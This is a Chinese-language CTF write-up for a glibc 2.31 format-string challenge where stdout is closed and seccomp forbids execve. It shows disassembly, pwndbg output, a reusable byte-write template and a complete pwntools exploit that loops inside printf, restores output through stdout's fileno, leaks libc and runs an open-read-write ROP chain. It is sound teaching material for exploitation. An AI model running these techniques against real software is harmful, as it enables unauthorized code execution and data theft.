one 复现
1 GNU C Library (Ubuntu GLIBC 2.31 -0u buntu9.9 ) stable release version 2.31
1 2 3 4 5 6 pwn: ELF 64 -bit LSB shared object, x86-64 , version 1 (SYSV), dynamically linked, interpreter /home/yhellow/tools/glibc-all-in-one/libs/2.31 -0u buntu9.7 _amd64/ld-2.31 .so, for GNU/Linux 3.2 .0 , BuildID[sha1]=8024 ac0d4b0ace622bc53363057c78623d729080, not stripped Arch: amd64-64 -little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
1 2 3 4 5 6 7 8 9 0000 : 0x20 0x00 0x00 0x00000004 A = arch0001 : 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008 0002 : 0x20 0x00 0x00 0x00000000 A = sys_number0003 : 0x35 0x00 0x01 0x40000000 if (A < 0x40000000 ) goto 0005 0004 : 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff ) goto 0008 0005 : 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0008 0006 : 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0008 0007 : 0x06 0x00 0x00 0x7fff0000 return ALLOW0008 : 0x06 0x00 0x00 0x00000000 return KILL
漏洞分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 int __cdecl main (int argc, const char **argv, const char **envp) { char s[2056 ]; unsigned __int64 v5; v5 = __readfsqword(0x28 u); init(); memset (s, 0 , 0x800 uLL); printf ("gift:%p\n" , s); login(); puts ("Now, you can't see anything!!!" ); close(1 ); read(0 , s, 0x200 uLL); printf (s); return 0 ; }
白给 stack_base
明显的格式化字符串漏洞,但是 close(1)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 unsigned __int64 login () { char name[16 ]; char password[24 ]; unsigned __int64 v3; v3 = __readfsqword(0x28 u); memset (name, 0 , 8uLL ); memset (password, 0 , 8uLL ); printf ("username:" ); read(0 , name, 8uLL ); printf ("password:" ); read(0 , password, 8uLL ); printf ("Hello %s\n" , name); return __readfsqword(0x28 u) ^ v3; }
写满 name 可以泄露 pro_base,绕过 PIE
入侵思路
我们先介绍一个 pwntools 工具:
1 fmtstr_payload(offset, writes, numbwritten=0 , write_size='byte' )
第一个参数表示格式化字符串的偏移
第二个参数表示需要利用 %n 写入的数据,采用字典形式
将 printf 的 GOT 数据改为 system 函数地址
写法为:{printfGOT:systemAddress}
第三个参数表示已经输出的字符个数
第四个参数表示写入方式
是按字节(byte->hhn)双字节(short->hn)还是四字节(int->n)
默认值是 byte,即按 hhn 写
fmtstr_payload 函数返回的就是 payload
我们断点到 printf
执行处:
1 2 3 ► 0x562c1b0674b9 call printf @plt <printf @plt> format: 0x7fff2a2d31c0 ◂— 'aaaaaaaa' vararg: 0x7fff2a2d31c0 ◂— 'aaaaaaaa'
1 2 3 4 5 6 7 8 100 :0800 │ 0x7fff2a2d39c0 —▸ 0x7fff2a2d3ac0 ◂— 0x1 101 :0808 │ 0x7fff2a2d39c8 ◂— 0xcf2ec36e5e9ffe00 102 :0810 │ rbp 0x7fff2a2d39d0 ◂— 0x0 103 :0818 │ 0x7fff2a2d39d8 —▸ 0x7f9168f2f083 (__libc_start_main+243 ) ◂— mov edi, eax104 :0820 │ 0x7fff2a2d39e0 —▸ 0x7f9169164620 (_rtld_global_ro) ◂— 0x50f2700000000 105 :0828 │ 0x7fff2a2d39e8 —▸ 0x7fff2a2d3ac8 —▸ 0x7fff2a2d5317 ◂— 0x4244006e77702f2e 106 :0830 │ 0x7fff2a2d39f0 ◂— 0x100000000 107 :0838 │ 0x7fff2a2d39f8 —▸ 0x562c1b06740b ◂— endbr64
如果这里直接覆盖 __libc_start_main+243
的话,会导致程序的栈帧出问题,并且没有什么用(因为每次覆盖都需要一次 fmt,程序循环后又必须要 fmt 才能继续循环)
于是我们瞄准 printf
的内部进行覆盖
在 printf
中,真正执行 “%n” 覆盖的函数是 buffered_vfprintf
,调用链如下:
1 printf -> __vfprintf_internal -> buffered_vfprintf
如果我们利用 buffered_vfprintf
来覆盖 __vfprintf_internal
的返回地址为 start_addr,就可以在 printf
函数内部实现循环
我们可以利用 printf
间接任意写来覆盖这里
测试代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 r.recvuntil(":" ) stack=int (r.recvline(),16 ) success("stack: " +hex (stack)) r.recvuntil(":" ) r.send("a" *0x8 ) r.recvuntil(":" ) r.send("a" *0x8 ) r.recvuntil("a" *0x8 ) pie=u64(r.recvuntil("\n" ,drop=True )+p16(0 ))-0x11a0 success("pie: " +hex (pie)) r.recvline() r.send(fmtstr_payload(6 , {stack-0xe8 :pie+0x11a0 }).ljust(0x200 ,"\x00" ))
1 2 3 4 5 ► 0x7f66e4605d1f <__vfprintf_internal+1215 > call buffered_vfprintf <buffered_vfprintf> rdi: 0x7f66e477c6a0 (_IO_2_1_stdout_) ◂— 0xfbad2887 rsi: 0x7ffe04f611d0 ◂— 0x3531256330363125 ('%160c%15' ) rdx: 0x7ffe04f610f0 ◂— 0x3000000008 rcx: 0x0
修改前:(__vfprintf_internal
的返回地址)
1 2 pwndbg> telescope 0x7ffe04f611d0 -0xe8 00 :0000 │ 0x7ffe04f610e8 —▸ 0x7f66e45f0d3f (printf +175 ) ◂— mov rcx, qword ptr [rsp + 0x18
1 2 pwndbg> telescope 0x7ffe04f611d0 -0xe8 00 :0000 │ 0x7ffe04f610e8 —▸ 0x55669931c1a0 ◂— endbr64
因为程序会 close(1)
,所以不能直接用 printf(%p)
来泄露 libc_base,但是在我们用 main 覆盖 __vfprintf_internal
的返回地址后,其参数 _IO_2_1_stdout_
指针残留在栈上(如果我们直接覆盖 main 的返回地址,就没有这样的效果)
我们可以利用这个指针修改 _IO_2_1_stdout_->fileno
为 “2” 重新获得输出,然后 ORW
1 2 3 4 5 6 7 8 9 10 pwndbg> telescope 0x7f0e2d3056a0 00 :0000 │ 0x7f0e2d3056a0 (_IO_2_1_stdout_) ◂— 0xfbad28a7 01 :0008 │ 0x7f0e2d3056a8 (_IO_2_1_stdout_+8 ) —▸ 0x7f0e2d305723 (_IO_2_1_stdout_+131 ) ◂— 0x3067e0000000000a ... ↓ 6 skipped 08 :0040 │ 0x7f0e2d3056e0 (_IO_2_1_stdout_+64 ) —▸ 0x7f0e2d305724 (_IO_2_1_stdout_+132 ) ◂— 0x2d3067e000000000 09 :0048 │ 0x7f0e2d3056e8 (_IO_2_1_stdout_+72 ) ◂— 0x0 ... ↓ 3 skipped 0 d:0068 │ 0x7f0e2d305708 (_IO_2_1_stdout_+104 ) —▸ 0x7f0e2d304980 (_IO_2_1_stdin_) ◂— 0xfbad208b 0 e:0070 │ 0x7f0e2d305710 (_IO_2_1_stdout_+112 ) ◂— 0x1 0f :0078 │ 0x7f0e2d305718 (_IO_2_1_stdout_+120 ) ◂— 0xffffffffffffffff
我们需要先把 _IO_2_1_stdout_
修改为 _IO_2_1_stdout_+112
然后再改 fileno
注意:_IO_2_1_stdout_+112
的倒数第2字节需要爆破,每次都有 1/16 的概率
因为我们只覆盖最后4字节,所以 fmtstr_payload 不能使用,不过我在这里给出一个专门覆盖低4字节的 fmt 模板:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 bit=random.randint(1 ,15 )*0x10 +"[offset]" print (hex (bit))if (bit-0x10 <0 ): bit=bit+0xf0 off=["[last]" ,bit+"(1)" ] ptr=["[stack]" ,"[stack+1]" ] pre=0 fmt="" data="" for i in ptr: print (hex (i)) for step in range (2 ): min_num=0xFFFF for i in range (len (off)): if (off[i]<min_num): min_num=off[i] min_idx=i fmt+="%" +str (min_num-pre)+"c%" +str (step+"[index]" )+"$hhn" data+=p64(ptr[min_idx]) off[min_idx]=0xFF pre=min_num payload = fmt.ljust(0x80 ,"\x00" )+data
[last]
:目标地址的最后1字节
[offset]
:目标地址的倒数第2字节的偏移(bit
为倒数第2字节,并且需要爆破)
[stack]
:位于 stack 上的指针,指向将要被修改的地址(间接修改)
[index]
:格式化字符串的偏移(可以用 fmtarg
命令快速获取)
由于程序需要在覆盖 _IO_2_1_stdout_
最后两字节的同时,修改 main 的返回地址为 main,所以对这个模板做了些改动:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 start=pie+0x11a0 bit=random.randint(1 ,15 )*0x10 +0x6 print (hex (bit))if (bit-0x10 <0 ): bit=bit+0xf0 off=[0x10 ,bit+1 ] ptr=[stack-0x80 ,stack-0x7F ] tmp=start for i in range (6 ): off.append(tmp%0x100 ) ptr.append(stack-0x1c8 +i) tmp=tmp//0x100 pre=0 fmt="" data="" for i in ptr: print (hex (i)) for step in range (8 ): min_num=0xFFFF for i in range (len (off)): if (off[i]<min_num): min_num=off[i] min_idx=i fmt+="%" +str (min_num-pre)+"c%" +str (step+22 )+"$hhn" data+=p64(ptr[min_idx]) off[min_idx]=0xFF pre=min_num r.send((fmt.ljust(0x80 ,"\x00" )+data).ljust(0x200 ,"\x00" ))
当 1/16 的概率爆破成功后,下一次循环的 fmt 就可以修改 _IO_2_1_stdout_->fileno
为 “2”,然后用 “%p” 就可以泄露出 libc_base
最后就可以通过 buffered_vfprintf 覆盖 printf 的返回地址,把一个特殊的 getget 写入:
1 2 *RSP 0x7ffdb7a886f8 —▸ 0x7fb53b3e2242 (__libc_check_standard_fds+82 ) ◂— add rsp, 0x98 *RIP 0x7fb53b41fd56 (printf +198 ) ◂— ret
1 2 3 4 5 6 7 8 9 pwndbg> telescope 0x7ffdb7a88700 +0x98 00 :0000 │ 0x7ffdb7a88798 —▸ 0x5591eb4c0543 ◂— pop rdi01 :0008 │ 0x7ffdb7a887a0 —▸ 0x7ffdb7a88780 ◂— 'flag.txt' 02 :0010 │ 0x7ffdb7a887a8 —▸ 0x7fb53b3e401f (__gconv_close_transform+239 ) ◂— pop rsi03 :0018 │ 0x7ffdb7a887b0 ◂— 0x0 04 :0020 │ 0x7ffdb7a887b8 —▸ 0x7fb53b4cbce0 (open64) ◂— endbr64 05 :0028 │ 0x7ffdb7a887c0 —▸ 0x5591eb4c0543 ◂— pop rdi06 :0030 │ 0x7ffdb7a887c8 ◂— 0x1 07 :0038 │ 0x7ffdb7a887d0 —▸ 0x7fb53b3e401f (__gconv_close_transform+239 ) ◂— pop rsi
汇编指令 add rsp,0x98; ret;
完美衔接了 ORW 的 ROP 链
完整 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 from pwn import *import randomcmd = "b *$rebase(0x14B9)\n" def pwn (): r=process('./pwn' ) context(os="linux" ,arch="amd64" ) libc=ELF("./libc-2.31.so" ) elf=ELF('./pwn' ) r.recvuntil(":" ) stack=int (r.recvline(),16 ) success("stack: " +hex (stack)) r.recvuntil(":" ) r.send("a" *0x8 ) r.recvuntil(":" ) r.send("a" *0x8 ) r.recvuntil("a" *0x8 ) pro_base=u64(r.recvuntil("\n" ,drop=True )+p16(0 ))-0x11a0 success("pro_base: " +hex (pro_base)) r.recvline() r.send(fmtstr_payload(6 , {stack-0xe8 :pro_base+0x11a0 }).ljust(0x200 ,"\x00" )) r.send("a" *0x8 ) r.send("a" *0x8 ) start=pro_base+0x11a0 bit=random.randint(1 ,15 )*0x10 +0x6 print (hex (bit)) if (bit-0x10 <0 ): bit=bit+0xf0 off=[0x10 ,bit+1 ] ptr=[stack-0x80 ,stack-0x7F ] tmp=start for i in range (6 ): off.append(tmp%0x100 ) ptr.append(stack-0x1c8 +i) tmp=tmp//0x100 pre=0 fmt="" data="" for i in ptr: print (hex (i)) for step in range (8 ): min_num=0xFFFF for i in range (len (off)): if (off[i]<min_num): min_num=off[i] min_idx=i fmt+="%" +str (min_num-pre)+"c%" +str (step+22 )+"$hhn" data+=p64(ptr[min_idx]) off[min_idx]=0xFF pre=min_num r.send((fmt.ljust(0x80 ,"\x00" )+data).ljust(0x200 ,"\x00" )) r.send("a" *0x8 ) r.send("a" *0x8 ) r.send("%2c%334$hhn;%334$p" .ljust(0x18 )+fmtstr_payload(9 , {stack-0x2a8 :pro_base+0x11a0 }, numbwritten=0x17 )) r.recvuntil(";" ) libc_base=int (r.recv(14 ),16 )-libc.sym["_IO_2_1_stdout_" ]-112 success("libc_base: " +hex (libc_base)) add_rsp=libc_base+0x24242 pop_rax=libc_base+0x36174 pop_rdi=pro_base+0x1543 pop_rsi=libc_base+0x2601f pop_rdx=libc_base+0x142c92 open_libc=libc_base+libc.sym["open" ] read_libc=libc_base+libc.sym["read" ] write_libc=libc_base+libc.sym["write" ] bss = pro_base+elf.bss() payload=p64(pop_rdi)+p64(stack-0xb20 )+p64(pop_rsi)+p64(0 )+p64(open_libc) payload+=p64(pop_rdi)+p64(1 )+p64(pop_rsi) payload+=p64(bss)+p64(pop_rdx)+p64(0x50 )+p64(read_libc) payload+=p64(pop_rdi)+p64(2 )+p64(pop_rsi)+p64(bss)+p64(write_libc) r.send("a" *0x8 ) r.send("a" *0x8 ) r.recvline() r.recvline() r.send(fmtstr_payload(6 , {stack-0xba8 :add_rsp}).ljust(0x80 ,"\x00" )+"flag.txt" .ljust(0x18 ,"\x00" )+payload) r.interactive() while (True ): try : pwn() except : success("wrong" )
小结:
第一次接触这种 printf 盲打印,学到了